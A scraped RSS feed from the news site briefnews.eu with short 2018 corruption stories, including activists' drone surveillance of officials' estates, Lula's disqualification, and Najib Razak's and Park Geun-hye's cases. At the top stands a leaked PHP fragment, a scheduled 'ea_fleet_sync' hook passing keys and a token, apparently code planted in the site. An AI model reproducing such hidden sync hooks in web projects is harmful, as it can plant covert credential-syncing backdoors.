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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Corruption – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 24 Nov 2018 12:09:39 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Corruption – Brief News https://briefnews.eu 32 32 How Drones Help Fight Eastern European Corruption https://briefnews.eu/how-drones-help-fight-eastern-european-corruption/ https://briefnews.eu/how-drones-help-fight-eastern-european-corruption/#respond Sat, 24 Nov 2018 12:09:39 +0000 http://briefnews.eu/how-drones-help-fight-eastern-european-corruption/

The entire operation spans just a few minutes: After zipping off the ground in a nondescript field just outside Kiev, the quadricopter whirls its way over the elite gated community nearby, where at least one Ukrainian judge is believed to own property with an estimated value far exceeding the funds disclosed in her official declaration. Collecting photo and video evidence of the impressive estate and its carefully manicured lawn, the device returns safely and quietly back to the car by the time a perplexed security guard calls the cops.

Later, at the headquarters of Prosud, a civil society organization that pushes for transparency in Ukraine’s judicial system, director Kateryna Butko explains just how crucial drones have become to her group’s work — as well as to that of so many other like-minded organizations and citizens across Eastern Europe and parts of Central Asia. Activists around the former Soviet Union, where corruption remains ingrained, have increasingly relied on drones as a powerful tool to back up the allegations they’d long chanted at rallies or chattered about online. Especially in often Byzantine political systems, where hard evidence of official graft is difficult to come by, flying over lavish properties belonging to officials with nominally meager salaries is the perfect visual retort to claims by those very officials that they live within the law.

In Russia, opposition politician Alexei Navalny’s Anti-Corruption Foundation, for example, has examined the ill-gotten gains of Russia’s top leaders from on high since 2016. Some of its most explosive discoveries have included mansions and vacation homes suspected to belong to President Vladimir Putin and his prime minister, Dmitry Medvedev. Combined with Navalny’s political savvy, the resulting videos have helped fuel protests in Moscow and across Russia.

Sometimes it seems like they [drones] were developed exactly for this purpose.

Kateryna Butko, director, Prosud

But there’s no shortage of corruption in nearby states, most of which watchdog Freedom House categorizes as “Partly Free” or “Not Free.” And droves of determined activists are now turning to drones there too, seeking to make a difference. In Armenia, where popular protests led to regime change earlier this year, local activists provoked another political stir in June when they released drone footage revealing a palatial property allegedly owned by Taron Margaryan, mayor of the Armenian capital Yerevan. He resigned two weeks later. In Kyrgyzstan, investigative website kloop.org in 2016 used a drone to capture images of former president Almazbek Atambayev’s palatial compound with a three-story manor and gazebos on the outskirts of Bishkek, which would have been impossible to build with his officially declared wealth of $ 111,000 in 2015. And in Ukraine, where civil society experienced a rebirth following that country’s 2014 Revolution of Dignity, Prosud alone has filmed at least 600 properties across the entire country, members say.

“Sometimes it seems like they were developed exactly for this purpose,” says Butko.

Some governments are even using drones to tackle local corruption, especially in Africa. The governments of Zimbabwe and Malawi, for example, are using drones to monitor wildlife reserves in their fight against poaching. The government of South Africa’s wealthiest province, Gauteng, has been using drones since last year to monitor construction sites in the hope that this will dissuade corruption in infrastructure projects.

But the ease of use and relatively low cost make drones particularly attractive as an anti-corruption tool against oligarchies and authoritarian regimes, say analysts and the groups using them. “The barrier to use is really quite low,” says Philip Chamberlain, head of the School of Film and Journalism at the University of the West of England. What’s more, drone regulation is either far less rigid than in the West or simply nonexistent, leaving plenty of opportunities for experimentation in the skies.

Drone-led probes are often also much more powerful and hard to ignore than traditional journalistic investigations. Whether slapped together into a several-minutes-long highlight reel and sent to news agencies or law enforcement authorities — as Prosud does — or as part of a broader investigative report, such as Armenia’s First AntiCorruption Television did with Yerevan’s mayor, the high-quality, well-produced videos offer a look one won’t find anywhere else. “Simply driving up to the building and photographing it from outside doesn’t compare to when you’re flying over it and see there’s not just a high wall, but also a pool, a tennis court and so much more,” Butko says.

Prompting action, however, is often another matter. For instance, Russia’s stifling political system and carefully managed media leave little room for critical voices. Even Navalny’s impressive investigations are mostly limited to the well-educated and mostly urban audiences that rely on the internet for their information — while the vast majority of Russians still support President Vladimir Putin’s government, thanks to widespread propaganda on state television. In Ukraine, meanwhile, the law enforcement system remains too corrupt to effectively prosecute even those whose graft has been revealed. The National Anti-Corruption Bureau, which has been unable to successfully prosecute their high-profile cases against top officials, knows that all too well.

There are also signs that some governments are becoming increasingly aware of the potential dangers drones pose to their rule. In Moldova, where activist Constantin Celac says he and his colleagues have significantly ramped up their probes in the past two years, officials are preparing what they say are European-style regulations for drone use. But he sees it differently. “There was this wave of drone investigations, and it was only after that when they started preparing this,” Celac says. In Kyrgyzstan, Atambayev’s guards saw the kloop.org drone flying over the former leader’s compound, brought it down, caught the cameraperson who was controlling it and made him delete the videos. Luckily, once back at the office, the investigative team was able to recover the videos from the drone, says Rinat Tuhvatshin, co-founder of kloop.org.

It’s unclear for how much longer anti-corruption drones will be able to continue roaming the skies in Eastern Europe and Central Asia. But while they’re up there, crooked officials may want to keep their eyes open — and pocketbooks closed.

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Former Brazilian President Luiz Inacio Lula da Silva has his presidential bid stalled after the Latin American country’s top electoral court ruled on Friday the veteran politician is ineligible to run due to his corruption conviction. Four judges out of a seven-member panel denied Lula the right to stand for the election following a tedious seven-hour debate. One judge has voted in Lula’s favor as of Friday evening. However, the decision is up to the simple majority meaning the opinion of two remaining justices will not change the verdict. Lula has been the Workers’ party nominee for the presidential elections set for October. The ruling comes after the UN Human Rights Committee appealed to the Brazilian government, asking it to allow the former president to exercise his political rights. Lula earlier said he would appeal the ruling to the Supreme Court.

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]]> https://briefnews.eu/court-bans-brazils-ex-president-lula-convicted-of-corruption-from-running-for-office-again/feed/ 0 $160 million corruption scandal in Argentina roils its financial markets https://briefnews.eu/160-million-corruption-scandal-in-argentina-roils-its-financial-markets/ https://briefnews.eu/160-million-corruption-scandal-in-argentina-roils-its-financial-markets/#respond Thu, 09 Aug 2018 05:16:31 +0000 http://briefnews.eu/160-million-corruption-scandal-in-argentina-roils-its-financial-markets/ AP_18214581009751Rolando Andrade Stracuzzi/Clarin via AP

  • More than a dozen former Argentine government officials and business executives have been arrested in a large scale corruption scandal.
  • The investigation is throwing Argentina upside down just as it gears up for economic recovery. 
  • Watch the Argentine peso trade in real time here.

Just as Argentina looked poised for a shot at economic recovery, a corruption scandal is roiling the embattled country.

More than a dozen former government officials and business executives were arrested after police raids last week in a case involving illegal payments for favors including public-works contracts that took place over a decade under President Cristina Fernandez de Kirchner.

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Iraq’s top Shiite scholar Grand Ayatollah Ali al-Sistani called on Friday for a government to be formed “as soon as possible.” The new ministers should tackle corruption and poor basic services, the preacher said in a Friday sermon delivered by a representative. Sistani also encouraged the incumbent government of Prime Minister Haider al-Abadi to respond urgently to protesters’ demands for jobs and better basic services and jobs Reuters reports. “The current government must work hard urgently to implement citizens’ demands to reduce their suffering and misery,” Sistani’s representative said in the Shiite holy city of Karbala.

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]]> https://briefnews.eu/top-preacher-sistani-calls-for-new-iraq-govt-as-soon-as-possible-to-tackle-corruption/feed/ 0 ‘I am not perfect’: Malaysia’s former prime minister released a pre-recorded video hours after being arrested for corruption https://briefnews.eu/i-am-not-perfect-malaysias-former-prime-minister-released-a-pre-recorded-video-hours-after-being-arrested-for-corruption/ https://briefnews.eu/i-am-not-perfect-malaysias-former-prime-minister-released-a-pre-recorded-video-hours-after-being-arrested-for-corruption/#respond Wed, 04 Jul 2018 06:13:32 +0000 http://briefnews.eu/i-am-not-perfect-malaysias-former-prime-minister-released-a-pre-recorded-video-hours-after-being-arrested-for-corruption/ Najib Razak

  • Malaysia’s former prime minister released a pre-recorded video shortly after his arrest on Tuesday.
  • The existence and tone of the video indicates Najib knew he would soon be arrested and was preparing for that moment.
  • “My dear Malaysians, if you are listening to this message, it means that actions have been taken against me,” Najib says in the video.
  • Najib also admits he is “not perfect,” but denied accusations of financial misconduct.

Malaysia’s former prime minister created a pre-recorded video that was released after he was arrested on Tuesday for corruption and breach of trust.

Najib pleaded not guilty on Wednesday to four charges linked to an investigation into $ 4.5 billion missing from state investment fund 1MDB, of which hundreds of millions of dollars were reportedly found in Najib’s personal bank accounts. 

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  • Najib Razak, the former Malaysian Prime Minister, was arrested at his house in Kuala Lumpur on Tuesday.
  • Razak is the subject of a corruption investigation after billions of dollars went missing from a state investment fund that he set up.
  • He has long denied allegations of misappropriating funds.


Najib Razak, the former Prime Minister of Malaysia, has been arrested in a corruption investigation.

The former leader lost a re-election bid earlier this year after billions of dollars went missing from 1MDB, a state investment fund that he set up.

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]]> https://briefnews.eu/malaysias-former-prime-minister-has-been-arrested-in-a-corruption-investigation-after-billions-of-dollars-went-missing-on-his-watch/feed/ 0 Ukraine finance minister says he was told to support corruption or resign https://briefnews.eu/ukraine-finance-minister-says-he-was-told-to-support-corruption-or-resign/ https://briefnews.eu/ukraine-finance-minister-says-he-was-told-to-support-corruption-or-resign/#respond Wed, 06 Jun 2018 17:31:12 +0000 http://briefnews.eu/ukraine-finance-minister-says-he-was-told-to-support-corruption-or-resign/ At the time when Kiev is seeking to get another tranche of the stalled $ 17.5 billion aid from the IMF, Ukraine’s Finance Minister Aleksandr Danylyuk is accusing Prime Minister Vladimir Groysman of corruption.

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Danylyuk asserts that Groysman gave him a choice of supporting “political corruption” or quitting after the latter officially asked the parliament to sack the finance minister.

The two ministers have a long history of complicated relations – after Groysman rejected Danylyuk’s candidate for deputy minister in charge of tax policy, Danylyuk accused him of backing candidates from the inner circle of President Petro Poroshenko.

According to Danylyuk, he was pushed to back spending programs for socio-economic development in Ukraine’s regions. “Translated into human language, it is the distribution of money to the projects of… lawmakers. This – political corruption – is known by people as ‘buckwheat,’” he said. “Buckwheat” means bribing voters with food or other goods during an election campaign. Ukraine will hold presidential and parliamentary elections in 2019.

Their brawl comes ahead of crucial negotiations between Ukraine and the IMF. Kiev has received no money from the IMF since April 2017, which it needs to curb ballooning debt. Ukraine is due to repay $ 15 billion of debt between now and the end of 2020.

Groysman has rejected the allegations. “The dissemination of distorted information among our international partners on the eve of important negotiations with the EU could jeopardize their results,” he wrote on Facebook.

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Former South Korean President Park Geun-hye has been found guilty of bribery, abuse of power, and coercion. She was sentenced to 24 years in prison, though prosecutors initially requested 30 years.

The former leader previously denied any wrongdoing, and the sentence was announced in her absence. The first female South Korean president was boycotting the hearing in protest of the court’s October decision to extend her incarceration by six months, Yonhap reports.

Park was accused of colluding with her friend Choi Soon-sil, who had been already sentenced to 20 years, in taking tens of millions of dollars from conglomerates.

The high-profile graft scandal led to the president’s impeachment in December 2016, and triggered massive protests across South Korea both supporting and condemning Park.

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Former Brazilian President Luiz Inacio Lula da Silva can be jailed on corruption charges, the country’s supreme court has ruled, dismissing an application to allow him to remain free pending an appeal against those charges.

The country’s top court has voted 6-5 to deny Lula’s plea and ruled he must start serving a 12-year prison sentence for graft. According to the ruling, Lula may now be detained at any time and will likely not be allowed to run for the country’s top seat in October.

The popular 72-year-old politician, who is leading in all opinion polls ahead of the October presidential elections, was convicted of money laundering and passive corruption last July. The Supreme Federal Court’s (STF) decision may put an end to da Silva’s expected return to politics.

Commonly known as Lula, the Brazilian Workers’ Party icon recently spoke on an RT Spanish show hosted by Ecuador’s former president Rafael Correa, where he argued that corruption charges have become an “instrument in the moral and ethical fight against opponents.”

Lula called the charges against him “false,” and said there was a massive media campaign against him and another former Brazilian president, Dilma Rousseff. “There is a conspiracy in Brazil between the media, the judiciary, the prosecution service and police,” said Lula.

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Ecuador's former President Rafael Correa © Daniel Tapia

Following in the footsteps of former First Minister of Scotland Alex Salmond, the outspoken Rafael Correa is set to become the latest top-tier politician to host a program on RT. His weekly show, ‘Conversations with Correa’ (Conversando con Correa) mainly revolves around the major social and political problems gripping the world.

This time corruption, multinational corporations and smear campaigns against Latin America’s progressive leaders top the agenda of Correa’s show. His guest is Baltasar Garzon, a renowned Spanish lawyer and head of Julian Assange’s legal team.

“Turning the fight against corruption into an ideology issue is a very dangerous phenomenon,” the lawyer opines, citing the example of Brazil’s President Inacio Lula da Silva who was sacked from the post following a long corruption row.

“I think this is a gross injustice,” Garzon says, adding that Lula’s successor, President Dilma Rousseff, was also accused of being corrupt. Rousseff “as an honest person, should not have been removed from office through impeachment,” the WikiLeaks lawyer states. “This, from any point of view, is a shame.”

Recalling his experience as head of state, Correa remarks: “I can say there is a lot of ideological talk when it comes to combatting corruption.” According to Correa, who led the Ecuadorian government for over a decade, there is a myth that “corruption exists in state institutions only.”

“Normally, the state is neither better nor worse than the society it represents,” he posits. “People often think that the fight against corruption is the responsibility of the President, the head of state, but in fact it is the duty of the entire people.”

Correa stresses that fighting corruption has often been used in Latin America to target political opponents, and Garzon agrees. “Justice has become extremely prejudiced and biased against all those people who, in one form or another, were supporters of the previous government,” the lawyer says, recalling former Argentinian President Cristina Kirchner whose tenure was marred by several corruption scandals.

“It came even to the point that when a corrupt official is exposed, he is not condemned for the very fact of being corrupt, but for being caught in such a stupid way,” Garzon adds.

Correa previously gave several interviews to RT while he was in office. It was he who, in 2012, granted asylum to WikiLeaks co-founder Julian Assange, despite harsh criticism from the UK. Assange is still exiled in the Ecuadorian Embassy in London.

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